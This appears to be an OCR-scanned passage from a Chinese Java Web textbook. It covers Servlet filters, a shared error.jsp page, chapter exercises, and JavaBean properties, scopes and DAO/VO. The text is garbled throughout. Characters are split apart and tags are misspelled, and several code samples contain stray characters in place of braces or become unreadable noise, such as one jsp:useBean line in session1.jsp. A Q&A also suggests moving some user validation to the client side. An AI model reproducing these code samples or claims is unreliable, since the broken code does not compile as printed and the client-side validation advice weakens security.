特别 说 明 : < url-pattern > 内 部 如 果 以 “/” 开 头 , 这 个 “/” 表 示 的 是 虚拟 目录 的 根 目 录 。 


9.7.3 需要 注意 的 问题 
过 滤器 有 以 下 几 个 问题 需要 注意 。 
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下 面 测试 过 滤器 的 初始 化 和 doFilter 时 机 ,代码 如 TestFilter. java 所 示 。 


TestFilter. java 


package filter; 


import java. io. IOException; 

import javax. servlet. Filter; 

import javax. servlet. FilterChain; 
import javax. servlet. FilterConfig; 
import javax. servlet. ServletException; 
import javax. servlet. ServletRequest; 
import javax. servlet. ServletResponse; 


public class TestFilter implements Filter { 

public TestFilter(){ 
System. out. println(" 过 滤器 构造 函数 "); 

} 

public void init(FilterConfig config) throws ServletException { 
System. out. println(" 过 滤器 初始 化 函数 "); 

} 

public void destroy() { 
System. out. println(" 过 滤器 消亡 函数 "); 

下 

public void doFilter(ServletRequest request, ServletResponse response, 

FilterChain chain) throws IOException, ServletException { 

System. out. println(" 过 滤器 doFilter 函数 "); 
chain. doFilter(request, response); 


} 


TestFilter 过 滤器 不 做 任何 处 理 , 仅 作为 测试 ,在 web. xml 中 配置 成 对 所 有 文件 进行 过 
滤 ( 配 置 过 程 略 ) 。 
启动 服务 器 ,在 控制 台 上 能 够 得 到 如 图 9-15 所 示 的 效果 。 
因此 ,过 滤器 的 初始 化 是 在 服务 器 运行 的 时 候 自动 运行 。 青 运行 一 个 提交 功能 ,得 到 如 
图 9-16 所 示 的 效果 。 
* 演 | 权 本 区 
过 滤器 构造 函数 zol 
信息 : Deploying w 


四 其 演 | 印加 加 
过 滤器 初始 化 函数 过 滤器 aoFiiter 冰 


图 9-15 控制 台 输出 1 图 9-16 控制 台 输出 2 


可 以 发 现 过 滤器 的 doFilter0 函 数 是 在 Servlet 被 调用 之 前 调用 的 。 

问答 

问 : 在 运行 服务 器 后 就 要 对 过 滤器 进行 初始 化 ,会 不 会 影响 服务 器 的 性 能 ? 

答 : 会 。 在 大 型 项 目 中 有 时 候 会 需要 很 多 过 滤器 ,但 是 如 果 每 一 个 过 滤器 都 在 服务 器 
中 实例 化 会 带 来 很 大 的 开销 ,导致 启动 速度 较 慢 。 解 决 方法 有 很 多 ,常见 的 一 种 方法 是 把 一 
些 简 单 的 验证 逻辑 交 给 客户 端 ( 例 如 AJAX 技术 ) 。 例 如 需要 对 客户 进行 验证 ,如 果 不 涉 及 
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太 核 心 的 安全 功能 ,可 以 在 客户 端 编写 程序 完成 需求 。 
9.8 异常 处 理 


在 Web 应 用 程序 中 总 会 发 生 这 样 或 者 那样 的 异常 .例如 数据 库 连 接 失败 、0 被 作为 除 
数 、 得 到 的 值 是 空 .数组 溢出 等 。 如 果 出 现 了 这 些 异 常 ,系统 不 做 任何 处 理 显然 是 不 行 的 。 
本 节 将 介绍 一 种 异常 处 理 方法 , 它 比 前 面 章节 中 讲解 的 异常 处 理 更 加 简便 。 

在 项 目 中 ,一 般 情况 下 都 是 通过 自 定义 一 个 公共 的 error. jsp 页 面 来 实现 统一 的 异常 处 
理 , 步 又 如 下 。 

(1) 创建 一 个 error. jsp 页 面 ,代码 如 下 。 


error. jsp 
<% @ page language = "java" pageEncoding = "gb2312" isErrorPage = "true" %> 
<html> 
<body> 
对 不 起 ,您 操作 错误 
</body> 
</htm] > 


注意 ; isErrorPage 属性 一 定 要 配置 成 true。 
(2) 在 web. xml 中 注册 该 页 面 ,代码 如 下 。 


web. xml 


<error- page> 
< exception -type> 某 种 Exception </exception - type> 
< location >/error. jsp </location> 

</error - page> 


使 当 出 现 某 种 异常 的 时 候 由 error. jsp 页 面 处 理 。 例 如 : 


<error 一 page> 
< exception — type > java. lang. Exception </exception 一 type> 
< location >/error. jsp </location> 

</error - page> 


其 表示 由 error. jsp 来 处 理 所 有 的 异常 。 
此 处 建立 一 个 页 面 用 于 进行 测试 .代码 如 makeError. jsp 所 示 。 


makeError. jsp 


<% @ page language = "java" pageEncoding = "gb2312" %> 
<html> 
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<body> 
<% 
String account = (String)session. getAttribute( "account"); 
out. println(account. length( )); 
先 > 
</body> 
</html > 


运行 该 页 面 ,显然 会 产生 java. lang. NullPointerException。Servlet 容器 会 自动 根据 
web. xml 中 的 配置 找到 此 异常 相对 应 的 页 面 ,结果 显示 如 图 9-17 所 示 。 
对 不 起 ， 您 操作 错误 
图 9-17 错误 页 面 


这 样 所 有 的 Exception 都 被 error. jsp 统一 处 理 了 。 
9.9 本 章 小 结 


本 章 介 绍 了 Servelt 的 作用 、 如 何 创建 一 个 Servlet、Servlet 的 生命 周期 .在 Servlet 中 如 
何 使 用 JSP 页 面 中 常用 的 内 置 对 象 。 另 外 ,本 章 讲解 了 Web 容器 中 “欢迎 页 面 ”的 设 定 、 初 
始 化 参数 的 设 定 ,以 及 过 滤器 .异常 处 理 等 。 


9.10 课 后 习题 


疏 是 一 种 运行 在 服务 器 端的 Java 应 用 程序 ,可 以 生成 动态 的 Web 页 面 , 它 属 
于 客户 和 服务 器 响应 的 中 间 层 。 

2，Servlet 中 的 两 个 处 理 请 求 的 方法 是 

3. Servlet 为 每 一 个 HttpSession 对 象 分 配 的 唯一 的 标识 符 是 。 

4. 在 Servlet 程序 中 ,Servlet 对 象 消亡 时 调用 的 方法 是 


5. 在 Servlet 中 主要 使 用 HttpServletResponse 类 的 重 定向 方法 实现 重 定向 ， 
使 用 RequestDispatcher 类 的 转发 方法 实现 转发 功能 。 

6. web. xml 文件 中 的 两 种 类 型 的 参数 为 

7. Filter 接口 中 最 主要 的 方法 是 

8. 实现 Filter 接口 的 类 需要 重 写 方法 、 方法 、 方法 。 

9. 过 滤器 的 doFilter0 函 数 在 Servlet 被 调用 。( 之 前 、 之 后 ) 

二 、 选 择 题 

1. 在 Java Web 中 ,Servlet 程序 需要 在 ( ) 文 件 中 配置 。 

A. web. xml B. JSP C. struts. xml D. servlet. xml 


2. 在 部 署 带 有 Servlet 的 Java Web 程序 时 ,( ) 不 是 必需 的 。 
A. web. xml 文件 B. WEB-INF 文件 夹 
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C. csses 文件 夹 D. classes 文件 夹 
3. 完整 地 配置 一 个 Servlet 需要 的 标签 是 ( 小 
A. < webapp > </webapp > 
B. < servlet > </ servlet > 和 < servlet-mapping > </servlet-mapping > 
C. < servlet-name/> 和 < servlet-class > 
D. < servlet-mapping >< servlet-name > 
4. 如 果 是 整个 应 用 程序 共享 的 数据 , 则 适合 放 在 ( ) 中 成 为 属性 。 
A. ServletConfig B. ServletContext C. ServletRequest D. Session 
5. HttpServlet 定义 在 ( ) 之 中 。 
A. javax. servlet B. java. http 
C. javax. servlet. http D. javax. http 


6. 在 web. xml 中 预先 对 Servlet 进行 初始 化 设置 的 代码 如 下 : 


< in 让 一 param> 
< param - name > myWord </param — name > 
< param - value > hello </param ~ value > 
</init ~ param> 


则 以 下 获取 初始 化 参数 的 语句 中 正确 的 是 ( Ds 
A. String myWord=getInit("myWorld"); 
B. String myWord=getInit('myWord"); 
C. String myWord=getInitParameter("hello"); 
D. String myWord=getInitParameter("myWord"); 
7. 在 Servlet 中 ,HttpServletResponse 的 ( ) 方 法 用 来 把 一 个 HTTP 请 求 重 定向 到 
另外 的 URL。 
A. sendURLO B. redirectURLO 
C. sendRedirectO D. redirectResponse() 
8. 给 定 一 个 Servlet 的 代码 片段 如 下 : 


Public void doGet ( HttpServletRequest request, HttpServletResponse response) throws 
ServletException, IOException{ 


out. println("hi kitty! "); 
out. close(); 


} 


运行 该 Servlet 时 输出 “hi kitty!1”, 则 应 在 此 Servlet 的 下 画 线 处 填 人 的 代码 是 ( Ys 


A. PrintWriter out=response. getWriter(); 


[es 


. Print Writer out=request. get Writer(); 


ge 


. OutputStream out=response. getOutputStream(); 


号 


.OnutputStream out=request. getWriterO; 
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9. 给 定 一 个 Servlet 程序 的 代码 片段 如 下 : 


Public void doPost (HttpServletRequest request, HttpServletResponse response ) throws 
ServletException { 
request. getSession().getAttribute("A"); // 第 2 行 


假定 第 2 行 返回 的 对 象 引用 不 是 null, 那 么 这 个 对 象 存 储 在 ( 。“) 范 围 中 。 
A. page B. session C. request D. application 


10. 在 web. xml 中 定义 了 以 下 内 容 : 


<servlet> 
< servlet - name > Goodbye </servlet - name> 
< servlet - class > cc. openhome. LogutServlet </servlet - class> 
</servlet > 
< servlet ~ mapping> 
< servlet - name > GoodBye </servlet - name > 
<url- pattern >/goodbye </url - pattern> 
</servlet ~- mapping> 


下 列 可 以 正确 访问 该 Servlet URL 的 是 ( Ws 


A. /goodbye. servlet B. /LoguotServlet 
C. /Goodbye D. /goodBye 
三 、 上 机 习题 


在 数据 库 中 建立 表 T_BOOK , 它 包 含 图 书 ID、 图 书 名称 、 图 书 价格 。 

1. 编写 图 书 模糊 查询 界面 ,输入 图 书 名 称 的 模糊 资料 ,在 界面 下 方 显 示 图 书信 息 ,要 求 
提交 给 Servlet 完成 。 

2. 在 上 题 中 图 书信 息 的 后 面 增加 一 个 “添加 到 购物 车 ”链接 , 单 击 可 以 将 图 书 添加 到 购 
物 车 。 在 页 面 底部 有 一 个 “查看 购物 车 ”链接 ,可 以 到 另 一 个 页 面 中 查看 购物 车 中 的 内 容 。 
在 购物 车 内 容 显示 时 ,后 面 有 一 个 “从 购物 车 中 删除 ?链接 , 单 击 , 又 能 够 将 该 图 书 从 购物 车 
中 删除 。 要 求 所 有 的 动作 由 Servlet 完成 。 

3. 为 网 站 配置 欢迎 页 面 index. html, 如 果 找 不 到 , 则 为 index. jsp, 并 进行 测试 。 

4. 在 图 书 查询 过 程 中 需要 连接 数据 库 , 将 driverClassName、url、username、password 
保存 在 web. xml 内 作为 参数 ,并 在 Servlet 的 init(O) 函 数 中 载 入 。 

5. 编写 一 个 应 用 ,用 户 登 录 成 功 之 后 到 达 欢 迎 页 面 。 为 了 防止 某 些 用 户 直 接 访问 欢迎 
页 面 , 用 过 滤器 来 实现 session 的 检查 。 

6. 使 用 过 滤器 还 可 以 实现 Cookie 的 检查 。 编 写 一 个 应 用 ,在 登录 页 面 中 让 用 户 选 择 
“是 否 保存 登录 状态 ”, 如 果 保 存 , 后 面 用 户 访问 各 个 页 面 时 由 过 滤器 来 进行 Cookie 检查 ,如 
果 Cookie 检查 通过 验证 , 则 直接 跳 转 到 欢迎 页 面 。 


JSP 和 JavaBean 


建议 学 时 : 2 
JSP 和 JavaBean 混合 使 用 可 以 提高 系统 的 可 扩展 性 ,JavaBean 也 能 对 数据 进行 良好 的 
封装 。 在 本 章 中 将 首先 学 习 JavaBean 的 概念 和 编写 ,强调 对 属性 的 编写 ,然后 学 习 在 JSP 


中 使 用 JavaBean 以 及 JavaBean 的 范围 ,最 后 学 习 DAO 和 VO 的 应 用 。 


10.1 认识 JavaBean 


在 很 多 系统 中 都 要 显示 数据 库 中 的 内 容 。 例 如 在 学 生 管 理 系 统 中 经 常 需要 在 页 面 上 显 
示 数 据 库 中 学 生 的 信息 ,在 这 种 情况 下 必须 访问 数据 库 。 通 常 将 访问 数据 库 的 代码 写 在 
JSP 内 ,如 图 10-1 所 示 。 

在 JSP 内 嵌入 大 量 的 Java 代码 可 能 会 造成 维护 不 方便 。 试 想 , 如 果 JSP 页 面 上 需要 进 
行 复杂 的 HTML 显示 ,又 要 写 大 量 的 Java 代码 ,该 页 面 的 编写 人 员 岂 不 是 既 要 是 HTML 
专家 ,又 要 是 Java 专家 ? 因此 ,最 好 的 办 法 是 将 JSP 中 的 Java 代码 移植 到 Java 类 中 ,如 
图 10-2 所 示 。 


JSP i 
JSP 
HTML 数据 库 HTML Java 类 数据 库 
大 量 Java 代 码 少量 Java 代 码 
图 10-1 JSP 访问 数据 库 图 10-2 Java 类 访问 数据 库 


这 些 可 能 使 用 到 的 Java 类 就 是 JavaBean。 

在 JavaBean 中 可 以 将 控制 逻辑 、 值 数据 库 访问 和 其 他 对 象 进行 封装 ,并 且 可 以 被 其 他 
应 用 来 调用 。 实 际 上 ,JavaBean 就 是 一 种 Java 组 件 技术 。JavaBean 的 作用 是 向 用 户 提 供 
实现 特定 逻辑 的 方法 接口 ,而 具体 的 实现 封装 在 组 件 的 内 部 ,不 同 的 用 户 根据 具体 的 应 用 情 
况 使 用 该 组 件 的 部 分 或 者 全 部 控制 逻辑 。 

JavaBean 支持 两 种 组 件 , 即 可 视 化 组 件 和 非 可 视 化 组 件 。 对 于 可 视 化 组 件 , 开 发 人 员 
可 以 在 运行 结果 中 看 到 界面 效果 ; 而 非 可 视 化 组 件 一 般 不 能 观察 到 ,其 主要 用 在 服务 器 端 。 
JSP 只 支持 非 可 视 化 组 件 。 

JavaBean 有 广义 的 和 狭义 的 两 种 概念 。 广 义 的 JavaBean 是 指 普通 的 Java 类 ; 狭义 的 
JavaBean 是 指 严格 按照 JavaBean 规范 编写 的 Java 类 。 在 本 书 中 两 种 概念 都 使 用 。 
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10.1.1 编写 JavaBean 


在 MyEclipse 中 编写 JavaBean 时 一 般 将 JavaBean 的 源 代码 放 在 src 根 目 录 下 ,首先 建 
立项 目 Prj10, 然 后 在 src 根 目录 下 创建 一 个 包 , 名 为 beans( 名 字 可 以 随便 取 ) ,然后 右 击 包 
名 ,建立 相应 的 类 ,例如 Student( 名 字 可 以 随便 取 )。 打 开 Student. java, 可 以 编写 如 下 简单 
的 JavaBean 实例 。 


Student. java 


package beans; 


public class Student { 
private String stuno; 
private String stuname; 
public String getStuno() { 
return stuno; 
public void setStuno(String stuno) { 
this. stuno = stuno; 
由 
public String getStuname() { 
return stuname; 
. 
public void setStuname(String stuname) { 
this. stuname = stuname; 
} 
} 


从 上 面 的 例子 可 以 看 出 ,在 JavaBean 中 不 仅 要 定义 其 成 员 变 量 , 还 要 对 成 员 变 量 定义 
setter/getter 方法 。 对 于 每 一 个 成 员 变量 ,要 定义 一 个 getter 方法 .一 个 setter 方法 。 

JavaBean 规定 成 员 变量 的 读 / 写 通 过 getter 和 setter 方法 进行 ,此 时 该 成 员 变 量 成 为 属 
性 。 对 于 每 一 个 可 读 属性 ,定义 一 个 getter 方法 ; 而 对 于 每 一 个 可 写 属性 ,定义 一 个 setter 
方法 。 

在 上 面 的 Bean 中 定义 了 stuno 和 stuname 属性 ,分 别 表示 学 生 的 学 号 和 姓名 ,然后 定 
义 了 setter/getter 方法 来 存 取 这 两 个 属性 。 

注意 : JavaBean 组 件 的 属性 在 编写 时 需要 满足 以 下 两 点 。 

(1) 通过 getter/setter 方法 来 读 / 写 变量 的 值 ,对 应 变量 的 首 字母 必须 大 写 。 如 下 面 代 
码 中 的 getStuname 和 setStuname 所 示 。 


private String stuname; 
public String getStuname() { 
return stuname; 
1 
public void setStuname(String stuname) { 
this. stuname = stuname; 


于 
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(2) 属性 名 称 由 getter 和 setter 方法 决定 ,代码 如 下 。 


private String name; 

public String getXingming() { 
return name; 

} 

public void setXingming(String name) { 
this. name = name; 


} 


此 时 ,系统 中 定义 的 属性 名 称 为 xingming, 而 不 是 name。 
10.1.2 特殊 JavaBean 属性 


在 Student. java 这 个 JavaBean 中 属性 的 类 型 是 String, 属 于 正常 数据 类 型 。 当 然 ， 
JavaBean 还 可 以 使 用 其 他 的 特殊 类 型 ,例如 boolean 类 型 .数组 类 型 等 。 下 面 将 一 一 讲解 。 

1. 给 boolean 类 型 设置 属性 ,要 将 getter 方法 改 为 is 方法 

例如 ,在 某 个 JavaBean 中 有 一 个 是 否 会 员 的 属性 ,其 类 型 是 boolean, 其 属性 的 定义 就 
使 用 了 is 方法 。 


private boolean member; 

public boolean isMember() { 
return isMember; 

public void setMember (boolean isMember) { 
this. isMember = isMember; 


2. 数组 属性 
例如 ,在 某 个 JavaBean 中 有 一 个 数组 属性 ,保存 用 户 的 多 个 电话 号 码 , 其 属性 的 定义 也 
需要 遵循 相应 规范 。 


private String[ ] phones; 

public String[ ] getPhones() { 
return phones; 

3 

public void setPhones(String[ ] phones) { 
this. phones = phones; 

} 


对 于 建立 属性 , MyEclipse 提供 了 较为 方便 的 做 法 。 右 击 代码 界面 ,在 弹出 的 快捷 菜单 
中 选择 Source| Generate Getters and Setters 命令 ,如 图 10-3 所 示 。 
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» 男 :让 Paste Cultv getstuno() { 
”一 JRE Sys 其 Delete Delete stuno; 
bp BJava EE 
| Build Path * hd setStuno(String stuno) { 
Source Alt+Shift+S » Format 
Re AShftT |。 organize Imports CuishiftO 
i Import- Sort Members-. 
四 Epor_ Clean Up_ 
References » Override/Implement Methods... 
一 Dedarations » Generate Getters and Setters... 
图 10-3 建立 属性 


在 弹出 的 如 图 10-4 所 示 的 界面 中 选中 相应 的 属性 即 可 。 


Select getters and setters to create: 


b 9 stuname| 
> 回 。 stuno 


图 10-4 选中 属性 


10.2 在 JSP 中 使 用 JavaBean 


在 10. 1 节 中 创建 了 JavaBean, 目 的 是 在 JSP 页 面 中 使 用 JavaBean。 本 节 介 绍 如 何 使 
用 JavaBean。 

1. 定义 JavaBean 

定义 JavaBean 有 以 下 两 种 方法 可 以 选择 。 

方法 1: 直接 在 JSP 中 实例 化 JavaBean。 例 如 : 


< 和 
Student student = new Student(); 
// 使 用 student 

%> 


但 这 种 方法 是 在 JSP 中 使 用 Java 代码 。 
方法 2: 使 用 < jsp:useBean > 标签 。< jsp:useBean > 标签 的 基本 用 法 如 下 。 


< jsp:useBean id = "idName" class = "package. class" scope = "page| session| …"> 
</jsp:useBean > 


在 该 标签 中 ,属性 id 指定 JavaBean 对 象 的 名 称 ; 属性 class 指定 用 哪个 类 来 实例 化 
JavaBean 对 象 ; 属性 scope 指定 对 象 的 作用 范围 ,这 将 在 后 面 讲解 。 
如 下 代码 相当 于 方法 1 中 的 代码 : 


< jsp:useBean id = "student" class = "beans. Student"></jsp:useBean > 
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因此 ,jsp:useBean 动作 其 实 就 相当 于 Java 代码 中 的 new 操作 ,在 JSP 页 面 中 实例 化 了 
JavaBean 的 对 象 。 

R 问 答 

问 : 既然 二 者 的 作用 相同 ,为 什么 要 提供 下 面 一 种 做 法 ? 

答 : 从 网 页 编写 人 员 的 角度 讲 ,希望 看 到 的 是 大 量 的 标签 ,而 不 是 大 量 的 Java 代码 。 

下 面 利用 简单 的 例子 介绍 jsp:useBean 动作 的 用 法 。 


useBean. jsp 


<% 四 page language = "java" import = "beans. Student" 
contentType = "text/html; charset = gb2312" %> 
<jsp:useBean id= "student" class = "beans. Student"></jsp:useBean> 


在 该 例子 中 使 用 jsp:useBean 动作 实例 化 了 Student 的 对 象 ,对 象 名 是 student。 

2. 设置 JavaBean 属性 

在 实际 开发 应 用 中 定义 JavaBean 之 后 ,需要 在 JSP 页 面 中 设置 JavaBean 组 件 的 属性 ， 
也 就 是 说 调用 setter 方法 ,同样 有 两 种 方式 。 

方法 1: 直接 编写 Java 代码 。 例 如 : 


< jsp:useBean id = "student" class = "beans. Student"></jsp:useBean> 
< 和 

student. setStuname(" 张 华 "); 
%> 


但 这 种 方法 也 是 在 JSP 中 使 用 Java 代码 。 

方法 2: 使 用 < jsp:setProperty > 标签 。 由 于 属性 值 的 来 源 可 以 是 字符 串 、 请 求 参数 、. 表 
达 式 等 ,所 以 jsp:setProperty 动作 的 基本 语法 规则 要 根据 相应 的 来 源 而 定 。 

当 值 的 来 源 是 String 常量 时 ,jsp:setProperty 动作 的 基本 语法 如 下 。 


< jsp:setProperty property = "属性 名 称 ”name = "bean 对 象 名 ”value = "常量 " /> 


因此 ,方法 1 中 的 代码 可 以 改 为 : 


< jsp:useBean id = "student" class = "beans. Student"></jsp:useBean> 
< jsp:setProperty property = "stuname" name = "student" value = " 张 华 " /> 


当 值 的 来 源 是 request 参数 时 ,jsp:setProperty 动作 的 基本 语法 如 下 。 


< jsp:setProperty property= "属性 名 称 " name = "bean 对 象 名 ”param = "参数 名 ”/> 


如 下 代码 : 


< jsp:useBean id = "student" class = "beans. Student"></jsp:useBean> 
< jsp:setProperty property= " stuname" name = " student"” param = "studentName" /> 
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等 价 于 


< jsp:useBean id = "student" class = "beans. Student"></jsp:useBean> 
<% String str = request. getParameter("studentNamen ) ; %$> 


< jsp:setProperty property = "name" name = "student" value = "<%= str%>" /> 


下 面 的 例子 显示 如 何 设置 属性 值 ,代码 如 setProperty. jsp 所 示 。 


setProperty. jsp 


<% @ page language = "java" import = "beans. Student" 
contentType = "text/html; charset = gb2312" %> 
<jsp:useBean id = "student" class = "beans. Student"></jsp:useBean> 
< jsp:setProperty property = "stuname" name = "student" param= "studentName" /> 
<%= student.getStuname () %> 


输入 “http://localhost:8080/Prj10/setProperty. jsp?studentrName=rose”, 显示 效果 如 
图 10-5 所 示 。 

在 该 例 中 把 前 面 定义 的 Student. java 通过 import 属性 导入 rose 
进来 ,并 且 使 用 jsp:useBean 动作 实例 化 Student 组 件 ,创建 图 10-5 ”页面 运行 效果 
个 名 为 student 的 实例 ,接着 使 用 jsp: setProperty 动作 把 
student 中 的 name 属性 赋 为 参数 studentName 传 进来 的 值 。 

另外 还 有 一 种 方法 一 一 < jsp:setProperty property="* "name="student"” />, 表 示 将 
所 有 和 属性 名 相同 的 参数 的 值 放 入 student 相应 的 属性 中 。 

3. 获取 JavaBean 届 性 

获取 JavaBean 的 属性 并 打印 显示 同样 有 两 种 方法 。 

(1) 使 用 JSP 表达 式 或 者 JSP 程序 段 。 例 如 : 


<% @ page language = "java" import = "beans. Student" 
contentTYpe = "text/html; charset = gb2312" %> 
< jsp:useBean id = "student" class = "beans. Student"></jsp:useBean > 
< jsp:setProperty property = "stuname" name = " student" value = "rose" /> 
<%= Student. getStuname( ) %> 


在 此 段 代 码 中 ,“<%= student. getStunameO%>” 是 JSP 表达 式 , 也 属于 Java 代码 。 
(2) 使 用 jsp:getProperty 动作 。jsp:getProperty 动作 的 基本 语法 如 下 。 


<jsp: getProperty property= "属性 名 称 ”name = "bean 对 象 名 " /> 


例如 ,setProperty. jsp 中 的 最 后 一 行 可 以 改 为 如 下 内 容 。 


< jsp: getProperty property = "stuname" name = "student" /> 
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10.3 JavaBean 的 范围 


在 前 面 的 例子 中 使 用 jsp:useBean 动作 实例 化 JavaBean 实例 ,其 中 用 到 scope 属性 指 
定 其 作用 范围 。 不 同 的 属性 值 代 表 不 同 的 作用 范围 ,也 就 是 说 可 以 满足 不 同 的 项 目 需求 , 因 
此 只 有 了 解 它们 的 区 别 , 才 能 在 实际 应 用 开发 中 灵活 运用 。 

首先 回顾 jsp:useBean 动作 的 用 法 。 


<jsp:useBean id = "idName" class = "package. class" scope = "page| session| …"> 
</jsp:useBean> 


scope 说 明 它 们 之 间 的 作用 范围 是 不 同 的 。 
page: 表示 JavaBean 对 象 的 作用 范围 在 实例 化 它 的 页 面 上 ,只 在 当前 页 面 可 用 ,在 
其 他 页 面 中 不 被 认识 。 
request: 表示 JavaBean 实例 除了 可 以 在 当前 页 面 上 可 用 之 外 ,还 可 以 在 通过 
forward 方法 跳 转 的 目标 页 面 中 被 认识 到 。 
session: 表示 JavaBean 对 象 可 以 存在 session 中 ,该 对 象 可 以 被 同一 个 用 户 的 所 有 
页 面 认 识 。 
application: 表示 JavaBean 对 象 可 以 存在 application 中 ,该 对 象 可 以 被 所 有 用 户 的 
所 有 页 面 认识 。 

1. page 范围 

如 前 所 述 ,page 范围 表示 JavaBean 对 象 的 作用 范围 在 实例 化 它 的 页 面 上 ,只 在 当前 页 
面 可 用 ,在 其 他 页 面 中 不 能 被 认识 。 

下 面 观察 简单 的 page 范围 的 例子 ,代码 如 pagel. jsp 所 示 。 


pagel. jsp 


< 外 @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<jsp:useBean id = "student" class = "beans. Student" scope = "page"> 

< jsp:setProperty property = "stuname" name = "student" value = "rose" /> 
</jsp:useBean > 


< html > 
< body> 
学 生 姓 名 : < jsp:getProperty name = "student" property = "stuname" /> 
</body > 
</html > 
运行 上 述 程序 ,得 到 如 图 10-6 所 示 的 效果 。 学 生 姓名 :rose 


青 编写 男 一 个 页 面 ,代码 如 page2. jsp 所 示 。 图 10-6 ”pagel. jsp 页 面 运行 效果 


page2. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
< jsp:useBean id = "student" class = "beans. Student" scope = "page"></jsp:useBean> 
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<html> 

<body> 

学 生 姓 名 : < jsp:getProperty name = "student" property= "stuname" /> 

</body> 
</html > 
此 时 运行 该 页 面 ,得 到 如 图 10-7 所 示 的 效果 。 Sa il 
这 说 明 在 第 2 个 页 面 中 无 法 认识 第 1 个 页 面 中 的 。 人 

a 10-7 ”page2. jsp 页 面 运 行 效果 


2. request 范围 

如 前 所 述 ,request 范围 表示 JavaBean 实例 除了 可 以 在 当前 页 面 上 可 用 之 外 ,还 可 以 在 
通过 forward 方法 跳 转 的 目标 页 面 中 被 认识 。 

下 面 是 简单 的 request 范围 的 例子 ,代码 如 requestl.jsp 所 示 。 


requestl. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<jsp:useBean id= "student" class = "beans. Student" scope = "request"> 

< jsp:setProperty property = "stuname" name = "student" value = "rose" /> 
</jsp:useBean > 
< html > 

<body> 

< jsp:forward page = "request2. jsp"></jsp:forward> 

</body> 

</html > 


运行 程序 , 跳 转 到 request2. jsp 页 面 ,该 页 面 的 代码 如 request2. jsp 所 示 。 


request2. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
< jsp:useBean id = "student" class = "beans. Student" scope= "request"> 
</jsp:useBean > 


< html > 
<body> 
学 生 姓 名 : < jsp:getProperty name = "student" property = "stuname" /> 
</body> 
</html > 
学 生 姓 名 : rose 运行 requestl.jsp 程序 ,显示 效果 如 图 10-8 所 示 。 


这 说 明 在 第 2 个 页 面 中 能 够 认识 第 1 个 页 面 中 的 
Bean 对 象 。 注 意 ,第 2 个 页 面 必须 由 第 1 个 页 面 跳 转 过 
去 ,并 且 应 该 是 forward 跳 转 ,否则 不 会 得 到 正常 结果 。 

3. session 范围 

如 前 所 述 ,session 范围 表示 JavaBean 对 象 可 以 存在 session 中 ,该 对 象 可 以 被 同一 
用 户 的 所 有 页 面 认识 。 

下 面 是 一 个 session 范围 的 例子 ,代码 如 session1. jsp 所 示 。 


图 10-8 页 面 运行 效果 
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Session1. jsp 


< 多 @ page language = "java" contentType = "text/htm1; charset = gb2312" %> 
jp: useBean 本 三 "EEadentni6lss5E "beans Stbudenk" 568Be=mmS65546P 

< jsp:setProperty property = "stuname" name = " student"” value = "rose" /> 
</jsp:useBean> 


<html> 
<body> 
学 生 姓 名 : < jsp:getProperty name = "student" property = "stuname" /> 
</body> 
</html > 
运行 程序 ,结果 如 图 10-9 所 示 。 学 生 姓 名 rose 
再 编写 一 个 session2. jsp 程序 ,该 页 面 的 代码 如 下 。 10-9 ”sessionl. jsp 页 面 运 行 效果 
Session2. jsp 
<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
< jsp:useBean id = "student" class = "beans. Student" scope = "session"></jsp:useBean> 
<html> 
<body> 
学 生 姓 名 : < jsp:getProperty name = "student" property = "stuname" /> 
</body> 
</htm] > 
学 生 姓 名 ，rose 此 时 先 运行 session1. jsp, 再 运行 session2. jsp， 


显示 结果 如 图 10-10 所 示 。 

这 说 明 在 第 2 个 页 面 中 可 以 认识 第 1 个 页 面 中 
的 Bean 对 象 。 注 意 , 第 2 个 页 面 不 必 由 第 1 个 页 面 跳 转 过 去 ,因为 对 象 保存 在 session 内 ， 
但 要 保证 是 同一 个 客户 端 。 

4. application 范围 

如 前 所 述 ,application 范围 表示 JavaBean 对 象 可 以 存在 application 中 ,该 对 象 可 以 被 
所 有 用 户 的 所 有 页 面 认识 。 当 scope 属性 的 值 为 application 时 ,jsp:useBean 动作 实例 化 的 
对 象 就 会 保存 在 服务 器 的 内 存 空间 中 ,直到 服务 器 关闭 才 会 被 移 除 。 在 此 期 间 如 果 有 其 他 
的 JSP 程序 需要 调用 该 JavaBean ,jsp:useBean 动作 不 会 创建 新 的 实例 。 对 于 具体 程序 , 读 
者 可 以 自己 编写 测试 。 


图 10-10 ”session2. jsp 页 面 运行 效果 


10.4 DAO 和 VO 


10.4.1 为 什么 需要 DAO 和 VO 


JavaBean 的 一 个 最 重要 的 应 用 就 是 将 数据 库 查 询 的 代码 从 JSP 中 移 到 JavaBean 中 。 

在 前 面 章节 的 例子 中 是 在 JSP 中 直接 使 用 JDBC 对 数据 库 进行 操作 ,但 在 实际 的 开发 
应 用 中 是 将 访问 数据 库 的 操作 放 到 特定 的 类 中 去 处 理 。 因 为 JSP 是 表示 层 , 所 以 可 以 在 表 
示 层 中 调用 这 个 特定 的 类 提供 的 方法 对 数据 库 进 行 操作 。 

通常 将 该 Java 类 叫 作 DAO(Data Access Object) 类 , 它 专门 负责 对 数据 库 的 访问 。 
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在 本 例 中 实现 了 对 数据 库 中 各 个 学 生 的 学 号 、 姓 名 的 显示 ,该 例 在 前 面 也 实现 过 ,所 用 
的 数据 源 是 ODBC, 名 称 为 DSSchool, 学 生 的 信息 存储 在 T_STUDENT 表 中 ,其 中 存储 了 
学 生 的 学 号 (STUNO) ,姓名 (STUNAME) 等 信息 ,显示 的 效果 如 图 10-11 所 示 。 

显然 可 以 将 数据 库 查询 的 代码 写 在 DAO 内 ,然后 让 JSP 
调用 DAO。DAO 通过 查询 得 到 相应 结果 ,返回 给 用 户 。 

在 通常 情况 下 可 以 将 VO(Value Object) 配 合 DAO 来 使 


Ei 用 ,在 DAO 中 可 以 每 查询 到 一 条 记录 就 将 其 封装 为 Student 
joo05 陵 为 一 对 象 ,该 Student 对 象 属于 VO。 最 后 将 所 有 实例 化 的 VO 存 


M0 举 生 询 开 放 在 集合 内 返回 。 这 样 就 可 以 实现 层次 的 分 开 , 降 低 了 耦合 
度 。 很 明显 ,本 章 开 头 编写 的 beans. Student 就 可 以 充当 VO 
的 角色 。 
10.4.2 编写 DAO 和 VO 
